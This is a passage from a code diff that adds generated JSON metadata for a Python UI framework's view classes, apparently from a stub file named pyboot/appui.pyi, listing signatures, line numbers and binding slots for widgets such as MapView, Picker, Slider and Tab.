Optional[Sequence[dict]] = None, content: Optional[Sequence[View]] = None, spacing: Optional[float] = None, children: Optional[Sequence[View]] = None) -> None: ...", + "line": 1503, + "methods": { + "__init__": { + "line": 1505, + "return_type": "None", + "signature": "def __init__(self, rows: Optional[Sequence[dict]] = None, content: Optional[Sequence[View]] = None, spacing: Optional[float] = None, children: Optional[Sequence[View]] = None) -> None: ..." + } + }, + "public_name": "LazyHGrid", + "semantic_domain": "grid", + "source_file": "pyboot/appui.pyi", + "type_id": 539658276 + }, + "LazyHStack": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "lazy_hstack", + "call_signature": "LazyHStack(content: Optional[Sequence[View]] = None, alignment: str = 'center', spacing: Optional[float] = None)", + "class_signature": "class LazyHStack(View):", + "domain": "layout", + "initializer_signature": "def __init__(self, content: Optional[Sequence[View]] = None, alignment: str = 'center', spacing: Optional[float] = None) -> None: ...", + "line": 1457, + "methods": { + "__init__": { + "line": 1459, + "return_type": "None", + "signature": "def __init__(self, content: Optional[Sequence[View]] = None, alignment: str = 'center', spacing: Optional[float] = None) -> None: ..." + } + }, + "public_name": "LazyHStack", + "semantic_domain": "stack", + "source_file": "pyboot/appui.pyi", + "type_id": 1159213285 + }, + "LazyVGrid": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "lazy_vgrid", + "call_signature": "LazyVGrid(columns: Optional[Sequence[dict]] = None, content: Optional[Sequence[View]] = None, spacing: Optional[float] = None, children: Optional[Sequence[View]] = None)", + "class_signature": "class LazyVGrid(View):", + "domain": "layout", + "initializer_signature": "def __init__(self, columns: Optional[Sequence[dict]] = None, content: Optional[Sequence[View]] = None, spacing: Optional[float] = None, children: Optional[Sequence[View]] = None) -> None: ...", + "line": 1493, + "methods": { + "__init__": { + "line": 1500, + "return_type": "None", + "signature": "def __init__(self, columns: Optional[Sequence[dict]] = None, content: Optional[Sequence[View]] = None, spacing: Optional[float] = None, children: Optional[Sequence[View]] = None) -> None: ..." + } + }, + "public_name": "LazyVGrid", + "semantic_domain": "grid", + "source_file": "pyboot/appui.pyi", + "type_id": 2147131847 + }, + "LazyVStack": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "lazy_vstack", + "call_signature": "LazyVStack(content: Optional[Sequence[View]] = None, alignment: str = 'center', spacing: Optional[float] = None)", + "class_signature": "class LazyVStack(View):", + "domain": "layout", + "initializer_signature": "def __init__(self, content: Optional[Sequence[View]] = None, alignment: str = 'center', spacing: Optional[float] = None) -> None: ...", + "line": 1452, + "methods": { + "__init__": { + "line": 1454, + "return_type": "None", + "signature": "def __init__(self, content: Optional[Sequence[View]] = None, alignment: str = 'center', spacing: Optional[float] = None) -> None: ..." + } + }, + "public_name": "LazyVStack", + "semantic_domain": "stack", + "source_file": "pyboot/appui.pyi", + "type_id": 2093241102 + }, + "Link": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "link", + "call_signature": "Link(title: str = '', url: str = '')", + "class_signature": "class Link(View):", + "domain": "control", + "initializer_signature": "def __init__(self, title: str = '', url: str = '') -> None: ...", + "line": 1699, + "methods": { + "__init__": { + "line": 1701, + "return_type": "None", + "signature": "def __init__(self, title: str = '', url: str = '') -> None: ..." + } + }, + "public_name": "Link", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 1809950651 + }, + "List": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "list", + "call_signature": "List(content: Optional[Sequence[View]] = None)", + "class_signature": "class List(_ContainerView):", + "domain": "collection", + "initializer_signature": "def __init__(self, content: Optional[Sequence[View]] = None) -> None: ...", + "line": 1616, + "methods": { + "__init__": { + "line": 1618, + "return_type": "None", + "signature": "def __init__(self, content: Optional[Sequence[View]] = None) -> None: ..." + } + }, + "public_name": "List", + "semantic_domain": "list", + "source_file": "pyboot/appui.pyi", + "type_id": 428197458 + }, + "MapView": { + "aurora_slots": [ + { + "attr": "_center", + "name": "center", + "prop_id": 3584, + "python_descriptor": false, + "value_type": "latlon" + }, + { + "attr": "_span", + "name": "span", + "prop_id": 3585, + "python_descriptor": false, + "value_type": "double" + } + ], + "auto_register": true, + "bridge_type": "map_view", + "call_signature": "MapView(latitude: float = 37.7749, longitude: float = -122.4194, span: float = 0.05, markers: Optional[Sequence[Dict[str, Any]]] = None, map_style: str = 'automatic', mapStyle: Optional[str] = None)", + "class_signature": "class MapView(View):", + "domain": "media", + "initializer_signature": "def __init__(self, latitude: float = 37.7749, longitude: float = -122.4194, span: float = 0.05, markers: Optional[Sequence[Dict[str, Any]]] = None, map_style: str = 'automatic', mapStyle: Optional[str] = None) -> None: ...", + "line": 1761, + "methods": { + "__init__": { + "line": 1770, + "return_type": "None", + "signature": "def __init__(self, latitude: float = 37.7749, longitude: float = -122.4194, span: float = 0.05, markers: Optional[Sequence[Dict[str, Any]]] = None, map_style: str = 'automatic', mapStyle: Optional[str] = None) -> None: ..." + }, + "aurora_set_center": { + "line": 1774, + "return_type": "None", + "signature": "def aurora_set_center(self, latitude: float, longitude: float) -> None: \"\"\"Update map center via Aurora binary fast-path.\"\"\" ..." + }, + "aurora_set_span": { + "line": 1777, + "return_type": "None", + "signature": "def aurora_set_span(self, span: float) -> None: \"\"\"Update map span via Aurora binary fast-path.\"\"\" ..." + } + }, + "public_name": "MapView", + "semantic_domain": "map", + "source_file": "pyboot/appui.pyi", + "type_id": 171762681 + }, + "Menu": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "menu", + "call_signature": "Menu(title: str = '', content: Optional[Sequence[View]] = None, children: Optional[Sequence[View]] = None, system_image: Optional[str] = None, image: Optional[str] = None, systemImage: Optional[str] = None)", + "class_signature": "class Menu(View):", + "domain": "control", + "initializer_signature": "def __init__(self, title: str = '', content: Optional[Sequence[View]] = None, children: Optional[Sequence[View]] = None, system_image: Optional[str] = None, image: Optional[str] = None, systemImage: Optional[str] = None) -> None: ...", + "line": 1331, + "methods": { + "__init__": { + "line": 1353, + "return_type": "None", + "signature": "def __init__(self, title: str = '', content: Optional[Sequence[View]] = None, children: Optional[Sequence[View]] = None, system_image: Optional[str] = None, image: Optional[str] = None, systemImage: Optional[str] = None) -> None: ..." + } + }, + "public_name": "Menu", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 541590745 + }, + "MultiDatePicker": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "multi_date_picker", + "call_signature": "MultiDatePicker(title: str = '', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)", + "class_signature": "class MultiDatePicker(View):", + "domain": "control", + "initializer_signature": "def __init__(self, title: str = '', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None) -> None: ...", + "line": 1320, + "methods": { + "__init__": { + "line": 1322, + "return_type": "None", + "signature": "def __init__(self, title: str = '', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None) -> None: ..." + } + }, + "public_name": "MultiDatePicker", + "semantic_domain": "date_input", + "source_file": "pyboot/appui.pyi", + "type_id": 429008949 + }, + "NavigationLink": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "navigation_link", + "call_signature": "NavigationLink(title: Optional[str] = None, destination: Optional[View] = None, label: Optional[View] = None)", + "class_signature": "class NavigationLink(View):", + "domain": "navigation", + "initializer_signature": "def __init__(self, title: Optional[str] = None, destination: Optional[View] = None, label: Optional[View] = None) -> None: ...", + "line": 1570, + "methods": { + "__init__": { + "line": 1572, + "return_type": "None", + "signature": "def __init__(self, title: Optional[str] = None, destination: Optional[View] = None, label: Optional[View] = None) -> None: ..." + } + }, + "public_name": "NavigationLink", + "semantic_domain": "navigation", + "source_file": "pyboot/appui.pyi", + "type_id": 1899247870 + }, + "NavigationSplitView": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "navigation_split_view", + "call_signature": "NavigationSplitView(sidebar: Optional[View] = None, detail: Optional[View] = None, supplementary: Optional[View] = None, column_visibility: str = 'all')", + "class_signature": "class NavigationSplitView(View):", + "domain": "navigation", + "initializer_signature": "def __init__(self, sidebar: Optional[View] = None, detail: Optional[View] = None, supplementary: Optional[View] = None, column_visibility: str = 'all') -> None: ...", + "line": 1575, + "methods": { + "__init__": { + "line": 1580, + "return_type": "None", + "signature": "def __init__(self, sidebar: Optional[View] = None, detail: Optional[View] = None, supplementary: Optional[View] = None, column_visibility: str = 'all') -> None: ..." + } + }, + "public_name": "NavigationSplitView", + "semantic_domain": "navigation", + "source_file": "pyboot/appui.pyi", + "type_id": 846268376 + }, + "NavigationStack": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "navigation_stack", + "call_signature": "NavigationStack(content: Optional[View] = None, path: Optional[NavigationPath] = None, destinations: Optional[Dict[str, Callable]] = None)", + "class_signature": "class NavigationStack(View):", + "domain": "navigation", + "initializer_signature": "def __init__(self, content: Optional[View] = None, path: Optional[NavigationPath] = None, destinations: Optional[Dict[str, Callable]] = None) -> None: ...", + "line": 1553, + "methods": { + "__init__": { + "line": 1564, + "return_type": "None", + "signature": "def __init__(self, content: Optional[View] = None, path: Optional[NavigationPath] = None, destinations: Optional[Dict[str, Callable]] = None) -> None: ..." + } + }, + "public_name": "NavigationStack", + "semantic_domain": "navigation", + "source_file": "pyboot/appui.pyi", + "type_id": 1372651098 + }, + "Overlay": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "overlay", + "call_signature": "Overlay(content: Optional[View] = None, overlay: Optional[View] = None, alignment: str = 'center')", + "class_signature": "class Overlay(View):", + "domain": "layout", + "initializer_signature": "def __init__(self, content: Optional[View] = None, overlay: Optional[View] = None, alignment: str = 'center') -> None: ...", + "line": 1539, + "methods": { + "__init__": { + "line": 1541, + "return_type": "None", + "signature": "def __init__(self, content: Optional[View] = None, overlay: Optional[View] = None, alignment: str = 'center') -> None: ..." + } + }, + "public_name": "Overlay", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 224006693 + }, + "PasteButton": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "paste_button", + "call_signature": "PasteButton(on_paste: Optional[Callable] = None, onPaste: Optional[Callable] = None)", + "class_signature": "class PasteButton(View):", + "domain": "control", + "initializer_signature": "def __init__(self, on_paste: Optional[Callable] = None, onPaste: Optional[Callable] = None) -> None: ...", + "line": 1359, + "methods": { + "__init__": { + "line": 1361, + "return_type": "None", + "signature": "def __init__(self, on_paste: Optional[Callable] = None, onPaste: Optional[Callable] = None) -> None: ..." + } + }, + "public_name": "PasteButton", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 973355598 + }, + "Path": { + "aurora_slots": [ + { + "attr": "_commands", + "name": "commands", + "prop_id": 3072, + "python_descriptor": false, + "value_type": "json" + } + ], + "auto_register": true, + "bridge_type": "path", + "call_signature": "Path(commands: Optional[Sequence[Dict[str, Any]]] = None, fill: Optional[ColorLike] = None, stroke: Optional[ColorLike] = None, line_width: Optional[float] = None)", + "class_signature": "class Path(View):", + "domain": "drawing", + "initializer_signature": "def __init__(self, commands: Optional[Sequence[Dict[str, Any]]] = None, fill: Optional[ColorLike] = None, stroke: Optional[ColorLike] = None, line_width: Optional[float] = None) -> None: ...", + "line": 1937, + "methods": { + "__init__": { + "line": 1943, + "return_type": "None", + "signature": "def __init__(self, commands: Optional[Sequence[Dict[str, Any]]] = None, fill: Optional[ColorLike] = None, stroke: Optional[ColorLike] = None, line_width: Optional[float] = None) -> None: ..." + }, + "aurora_set_commands": { + "line": 1946, + "return_type": "None", + "signature": "def aurora_set_commands(self, commands: Sequence[Dict[str, Any]]) -> None: \"\"\"Update path commands via Aurora binary fast-path.\"\"\" ..." + } + }, + "public_name": "Path", + "semantic_domain": "drawing", + "source_file": "pyboot/appui.pyi", + "type_id": 1444525381 + }, + "PhotoPicker": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "photo_picker", + "call_signature": "PhotoPicker(selection_limit: int = 1, filter: str = 'images', on_picked: Optional[Callable] = None, label: Optional[View] = None, selectionLimit: Optional[int] = None, onPicked: Optional[Callable] = None, **kwargs: Any)", + "class_signature": "class PhotoPicker(View):", + "domain": "media", + "initializer_signature": "def __init__(self, selection_limit: int = 1, filter: str = 'images', on_picked: Optional[Callable] = None, label: Optional[View] = None, selectionLimit: Optional[int] = None, onPicked: Optional[Callable] = None, **kwargs: Any) -> None: ...", + "line": 1380, + "methods": { + "__init__": { + "line": 1385, + "return_type": "None", + "signature": "def __init__(self, selection_limit: int = 1, filter: str = 'images', on_picked: Optional[Callable] = None, label: Optional[View] = None, selectionLimit: Optional[int] = None, onPicked: Optional[Callable] = None, **kwargs: Any) -> None: ..." + } + }, + "public_name": "PhotoPicker", + "semantic_domain": "media_picker", + "source_file": "pyboot/appui.pyi", + "type_id": 844079064 + }, + "Picker": { + "aurora_slots": [ + { + "attr": "_selection", + "name": "selection", + "prop_id": 4096, + "python_descriptor": true, + "value_type": "string" + } + ], + "auto_register": true, + "bridge_type": "picker", + "call_signature": "Picker(label: str = '', selection: Optional[str] = None, options: Optional[Sequence[str]] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)", + "class_signature": "class Picker(View):", + "domain": "control", + "initializer_signature": "def __init__(self, label: str = '', selection: Optional[str] = None, options: Optional[Sequence[str]] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None) -> None: ...", + "line": 1285, + "methods": { + "__init__": { + "line": 1289, + "return_type": "None", + "signature": "def __init__(self, label: str = '', selection: Optional[str] = None, options: Optional[Sequence[str]] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None) -> None: ..." + } + }, + "public_name": "Picker", + "semantic_domain": "selection", + "source_file": "pyboot/appui.pyi", + "type_id": 782577129 + }, + "Popover": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "popover", + "call_signature": "Popover(is_presented: bool = False, content: Optional[View] = None, trigger: Optional[View] = None, isPresented: Optional[bool] = None)", + "class_signature": "class Popover(View):", + "domain": "presentation", + "initializer_signature": "def __init__(self, is_presented: bool = False, content: Optional[View] = None, trigger: Optional[View] = None, isPresented: Optional[bool] = None) -> None: ...", + "line": 1739, + "methods": { + "__init__": { + "line": 1741, + "return_type": "None", + "signature": "def __init__(self, is_presented: bool = False, content: Optional[View] = None, trigger: Optional[View] = None, isPresented: Optional[bool] = None) -> None: ..." + } + }, + "public_name": "Popover", + "semantic_domain": "presentation", + "source_file": "pyboot/appui.pyi", + "type_id": 1349058763 + }, + "ProgressView": { + "aurora_slots": [ + { + "attr": "_value", + "name": "value", + "prop_id": 1280, + "python_descriptor": true, + "value_type": "double" + } + ], + "auto_register": true, + "bridge_type": "progress_view", + "call_signature": "ProgressView(label: Optional[str] = None, value: Optional[float] = None, total: float = 1.0)", + "class_signature": "class ProgressView(View):", + "domain": "feedback", + "initializer_signature": "def __init__(self, label: Optional[str] = None, value: Optional[float] = None, total: float = 1.0) -> None: ...", + "line": 1688, + "methods": { + "__init__": { + "line": 1693, + "return_type": "None", + "signature": "def __init__(self, label: Optional[str] = None, value: Optional[float] = None, total: float = 1.0) -> None: ..." + }, + "aurora_set_value": { + "line": 1695, + "return_type": "None", + "signature": "def aurora_set_value(self, value: Optional[float]) -> None: \"\"\"Update progress value via Aurora binary fast-path.\"\"\" ..." + } + }, + "public_name": "ProgressView", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 787699673 + }, + "Rectangle": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "rectangle", + "call_signature": "Rectangle()", + "class_signature": "class Rectangle(_Shape):", + "domain": "shape", + "initializer_signature": "def __init__(self) -> None: ...", + "line": 1964, + "methods": { + "__init__": { + "line": 1966, + "return_type": "None", + "signature": "def __init__(self) -> None: ..." + } + }, + "public_name": "Rectangle", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 41586722 + }, + "Refreshable": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "refreshable", + "call_signature": "Refreshable(on_refresh: Optional[Callable] = None, onRefresh: Optional[Callable] = None, content: Optional[ViewChild] = None)", + "class_signature": "class Refreshable(View):", + "domain": "collection", + "initializer_signature": "def __init__(self, on_refresh: Optional[Callable] = None, onRefresh: Optional[Callable] = None, content: Optional[ViewChild] = None) -> None: ...", + "line": 1745, + "methods": { + "__init__": { + "line": 1747, + "return_type": "None", + "signature": "def __init__(self, on_refresh: Optional[Callable] = None, onRefresh: Optional[Callable] = None, content: Optional[ViewChild] = None) -> None: ..." + } + }, + "public_name": "Refreshable", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 1350456458 + }, + "RenameButton": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "rename_button", + "call_signature": "RenameButton(action: Optional[Callable] = None)", + "class_signature": "class RenameButton(View):", + "domain": "control", + "initializer_signature": "def __init__(self, action: Optional[Callable] = None) -> None: ...", + "line": 1364, + "methods": { + "__init__": { + "line": 1366, + "return_type": "None", + "signature": "def __init__(self, action: Optional[Callable] = None) -> None: ..." + } + }, + "public_name": "RenameButton", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 1649658199 + }, + "RoundedRectangle": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "rounded_rectangle", + "call_signature": "RoundedRectangle(corner_radius: float = 10, cornerRadius: Optional[float] = None)", + "class_signature": "class RoundedRectangle(_Shape):", + "domain": "shape", + "initializer_signature": "def __init__(self, corner_radius: float = 10, cornerRadius: Optional[float] = None) -> None: ...", + "line": 1968, + "methods": { + "__init__": { + "line": 1970, + "return_type": "None", + "signature": "def __init__(self, corner_radius: float = 10, cornerRadius: Optional[float] = None) -> None: ..." + } + }, + "public_name": "RoundedRectangle", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 219268132 + }, + "SafeAreaInset": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "safe_area_inset", + "call_signature": "SafeAreaInset(edge: str = 'bottom', content: Optional[View] = None)", + "class_signature": "class SafeAreaInset(View):", + "domain": "layout", + "initializer_signature": "def __init__(self, edge: str = 'bottom', content: Optional[View] = None) -> None: ...", + "line": 1544, + "methods": { + "__init__": { + "line": 1546, + "return_type": "None", + "signature": "def __init__(self, edge: str = 'bottom', content: Optional[View] = None) -> None: ..." + } + }, + "public_name": "SafeAreaInset", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 712319002 + }, + "ScrollView": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "scroll_view", + "call_signature": "ScrollView(content: Optional[ViewChild] = None, axes: str = 'vertical', shows_indicators: bool = True, showsIndicators: Optional[bool] = None)", + "class_signature": "class ScrollView(_ContainerView):", + "domain": "layout", + "initializer_signature": "def __init__(self, content: Optional[ViewChild] = None, axes: str = 'vertical', shows_indicators: bool = True, showsIndicators: Optional[bool] = None) -> None: ...", + "line": 1462, + "methods": { + "__init__": { + "line": 1467, + "return_type": "None", + "signature": "def __init__(self, content: Optional[ViewChild] = None, axes: str = 'vertical', shows_indicators: bool = True, showsIndicators: Optional[bool] = None) -> None: ..." + } + }, + "public_name": "ScrollView", + "semantic_domain": "scroll", + "source_file": "pyboot/appui.pyi", + "type_id": 495261511 + }, + "ScrollViewReader": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "scroll_view_reader", + "call_signature": "ScrollViewReader(content: Optional[ViewChild] = None, axes: str = 'vertical', shows_indicators: bool = True, scroll_to: Optional[str] = None, anchor: str = 'top', showsIndicators: Optional[bool] = None, scrollTo: Optional[str] = None, children: Optional[ViewChild] = None)", + "class_signature": "class ScrollViewReader(View):", + "domain": "layout", + "initializer_signature": "def __init__(self, content: Optional[ViewChild] = None, axes: str = 'vertical', shows_indicators: bool = True, scroll_to: Optional[str] = None, anchor: str = 'top', showsIndicators: Optional[bool] = None, scrollTo: Optional[str] = None, children: Optional[ViewChild] = None) -> None: ...", + "line": 1471, + "methods": { + "__init__": { + "line": 1478, + "return_type": "None", + "signature": "def __init__(self, content: Optional[ViewChild] = None, axes: str = 'vertical', shows_indicators: bool = True, scroll_to: Optional[str] = None, anchor: str = 'top', showsIndicators: Optional[bool] = None, scrollTo: Optional[str] = None, children: Optional[ViewChild] = None) -> None: ..." + } + }, + "public_name": "ScrollViewReader", + "semantic_domain": "scroll", + "source_file": "pyboot/appui.pyi", + "type_id": 1896261579 + }, + "SearchField": { + "aurora_slots": [ + { + "attr": "_text", + "name": "text", + "prop_id": 512, + "python_descriptor": true, + "value_type": "string" + } + ], + "auto_register": true, + "bridge_type": "search_field", + "call_signature": "SearchField(text: str = '', placeholder: str = 'Search', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None, on_submit: Optional[Callable] = None, onSubmit: Optional[Callable] = None)", + "class_signature": "class SearchField(View):", + "domain": "control", + "initializer_signature": "def __init__(self, text: str = '', placeholder: str = 'Search', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None, on_submit: Optional[Callable] = None, onSubmit: Optional[Callable] = None) -> None: ...", + "line": 1226, + "methods": { + "__init__": { + "line": 1228, + "return_type": "None", + "signature": "def __init__(self, text: str = '', placeholder: str = 'Search', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None, on_submit: Optional[Callable] = None, onSubmit: Optional[Callable] = None) -> None: ..." + } + }, + "public_name": "SearchField", + "semantic_domain": "text_input", + "source_file": "pyboot/appui.pyi", + "type_id": 1835148481 + }, + "Section": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "section", + "call_signature": "Section(content: Optional[ViewChild] = None, *, header: Optional[Union[str, View]] = None, footer: Optional[Union[str, View]] = None, children: Optional[ViewChild] = None, key: Optional[str] = None)", + "class_signature": "class Section(_ContainerView):", + "domain": "collection", + "initializer_signature": "def __init__(self, content: Optional[ViewChild] = None, *, header: Optional[Union[str, View]] = None, footer: Optional[Union[str, View]] = None, children: Optional[ViewChild] = None, key: Optional[str] = None) -> None: ...", + "line": 1642, + "methods": { + "__init__": { + "line": 1649, + "return_type": "None", + "signature": "def __init__(self, content: Optional[ViewChild] = None, *, header: Optional[Union[str, View]] = None, footer: Optional[Union[str, View]] = None, children: Optional[ViewChild] = None, key: Optional[str] = None) -> None: ..." + } + }, + "public_name": "Section", + "semantic_domain": "section", + "source_file": "pyboot/appui.pyi", + "type_id": 433476724 + }, + "SecureField": { + "aurora_slots": [ + { + "attr": "_text", + "name": "text", + "prop_id": 512, + "python_descriptor": true, + "value_type": "string" + } + ], + "auto_register": true, + "bridge_type": "secure_field", + "call_signature": "SecureField(placeholder: str = '', text: str = '', on_change: Optional[Callable] = None, on_submit: Optional[Callable] = None, onChange: Optional[Callable] = None, onSubmit: Optional[Callable] = None)", + "class_signature": "class SecureField(View):", + "domain": "control", + "initializer_signature": "def __init__(self, placeholder: str = '', text: str = '', on_change: Optional[Callable] = None, on_submit: Optional[Callable] = None, onChange: Optional[Callable] = None, onSubmit: Optional[Callable] = None) -> None: ...", + "line": 1209, + "methods": { + "__init__": { + "line": 1211, + "return_type": "None", + "signature": "def __init__(self, placeholder: str = '', text: str = '', on_change: Optional[Callable] = None, on_submit: Optional[Callable] = None, onChange: Optional[Callable] = None, onSubmit: Optional[Callable] = None) -> None: ..." + } + }, + "public_name": "SecureField", + "semantic_domain": "text_input", + "source_file": "pyboot/appui.pyi", + "type_id": 1546701120 + }, + "SegmentedControl": { + "aurora_slots": [ + { + "attr": "_selection", + "name": "selection", + "prop_id": 4096, + "python_descriptor": true, + "value_type": "string" + } + ], + "auto_register": true, + "bridge_type": "segmented_control", + "call_signature": "SegmentedControl(options: Optional[Sequence[str]] = None, selection: Optional[str] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)", + "class_signature": "class SegmentedControl(View):", + "domain": "control", + "initializer_signature": "def __init__(self, options: Optional[Sequence[str]] = None, selection: Optional[str] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None) -> None: ...", + "line": 1293, + "methods": { + "__init__": { + "line": 1295, + "return_type": "None", + "signature": "def __init__(self, options: Optional[Sequence[str]] = None, selection: Optional[str] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None) -> None: ..." + } + }, + "public_name": "SegmentedControl", + "semantic_domain": "selection", + "source_file": "pyboot/appui.pyi", + "type_id": 1150040383 + }, + "ShareLink": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "share_link", + "call_signature": "ShareLink(item: str = '', subject: Optional[str] = None, message: Optional[str] = None)", + "class_signature": "class ShareLink(View):", + "domain": "control", + "initializer_signature": "def __init__(self, item: str = '', subject: Optional[str] = None, message: Optional[str] = None) -> None: ...", + "line": 1709, + "methods": { + "__init__": { + "line": 1711, + "return_type": "None", + "signature": "def __init__(self, item: str = '', subject: Optional[str] = None, message: Optional[str] = None) -> None: ..." + } + }, + "public_name": "ShareLink", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 1469488390 + }, + "SignInWithAppleButton": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "sign_in_with_apple", + "call_signature": "SignInWithAppleButton(type: str = 'signIn', on_complete: Optional[Callable] = None, onComplete: Optional[Callable] = None)", + "class_signature": "class SignInWithAppleButton(View):", + "domain": "control", + "initializer_signature": "def __init__(self, type: str = 'signIn', on_complete: Optional[Callable] = None, onComplete: Optional[Callable] = None) -> None: ...", + "line": 1372, + "methods": { + "__init__": { + "line": 1377, + "return_type": "None", + "signature": "def __init__(self, type: str = 'signIn', on_complete: Optional[Callable] = None, onComplete: Optional[Callable] = None) -> None: ..." + } + }, + "public_name": "SignInWithAppleButton", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 224080439 + }, + "Slider": { + "aurora_slots": [ + { + "attr": "_value", + "name": "value", + "prop_id": 1024, + "python_descriptor": true, + "value_type": "double" + } + ], + "auto_register": true, + "bridge_type": "slider", + "call_signature": "Slider(value: float = 0.0, minimum: float = 0.0, maximum: float = 1.0, step: Optional[float] = None, label: str = '', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None, min_value: Optional[float] = None, max_value: Optional[float] = None, minValue: Optional[float] = None, maxValue: Optional[float] = None)", + "class_signature": "class Slider(View):", + "domain": "control", + "initializer_signature": "def __init__(self, value: float = 0.0, minimum: float = 0.0, maximum: float = 1.0, step: Optional[float] = None, label: str = '', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None, min_value: Optional[float] = None, max_value: Optional[float] = None, minValue: Optional[float] = None, maxValue: Optional[float] = None) -> None: ...", + "line": 1252, + "methods": { + "__init__": { + "line": 1263, + "return_type": "None", + "signature": "def __init__(self, value: float = 0.0, minimum: float = 0.0, maximum: float = 1.0, step: Optional[float] = None, label: str = '', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None, min_value: Optional[float] = None, max_value: Optional[float] = None, minValue: Optional[float] = None, maxValue: Optional[float] = None) -> None: ..." + }, + "aurora_set_value": { + "line": 1271, + "return_type": "None", + "signature": "def aurora_set_value(self, value: float) -> None: \"\"\"Update slider value via Aurora binary fast-path.\"\"\" ..." + } + }, + "public_name": "Slider", + "semantic_domain": "control", + "source_file": "pyboot/appui.pyi", + "type_id": 70285166 + }, + "Spacer": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "spacer", + "call_signature": "Spacer(min_length: Optional[float] = None, minLength: Optional[float] = None)", + "class_signature": "class Spacer(View):", + "domain": "layout", + "initializer_signature": "def __init__(self, min_length: Optional[float] = None, minLength: Optional[float] = None) -> None: ...", + "line": 1484, + "methods": { + "__init__": { + "line": 1486, + "return_type": "None", + "signature": "def __init__(self, min_length: Optional[float] = None, minLength: Optional[float] = None) -> None: ..." + } + }, + "public_name": "Spacer", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 1641755527 + }, + "Stepper": { + "aurora_slots": [ + { + "attr": "_value", + "name": "value", + "prop_id": 1792, + "python_descriptor": true, + "value_type": "int" + } + ], + "auto_register": true, + "bridge_type": "stepper", + "call_signature": "Stepper(label: str = '', value: int = 0, minimum: int = 0, maximum: int = 100, step: int = 1, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)", + "class_signature": "class Stepper(View):", + "domain": "control", + "initializer_signature": "def __init__(self, label: str = '', value: int = 0, minimum: int = 0, maximum: int = 100, step: int = 1, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None) -> None: ...", + "line": 1275, + "methods": { + "__init__": { + "line": 1278, + "return_type": "None", + "signature": "def __init__(self, label: str = '', value: int = 0, minimum: int = 0, maximum: int = 100, step: int = 1, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None) -> None: ..." + }, + "aurora_set_value": { + "line": 1281, + "return_type": "None", + "signature": "def aurora_set_value(self, value: int) -> None: \"\"\"Update stepper value via Aurora binary fast-path.\"\"\" ..." + } + }, + "public_name": "Stepper", + "semantic_domain": "control", + "source_file": "pyboot/appui.pyi", + "type_id": 744999815 + }, + "SwipeActions": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "swipe_actions", + "call_signature": "SwipeActions(content: Optional[View] = None, leading: Optional[Sequence[View]] = None, trailing: Optional[Sequence[View]] = None)", + "class_signature": "class SwipeActions(View):", + "domain": "collection", + "initializer_signature": "def __init__(self, content: Optional[View] = None, leading: Optional[Sequence[View]] = None, trailing: Optional[Sequence[View]] = None) -> None: ...", + "line": 1751, + "methods": { + "__init__": { + "line": 1753, + "return_type": "None", + "signature": "def __init__(self, content: Optional[View] = None, leading: Optional[Sequence[View]] = None, trailing: Optional[Sequence[View]] = None) -> None: ..." + } + }, + "public_name": "SwipeActions", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 1461308184 + }, + "Tab": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "tab", + "call_signature": "Tab(title: str = '', system_image: Optional[str] = None, image: Optional[str] = None, content: Optional[View] = None, badge: 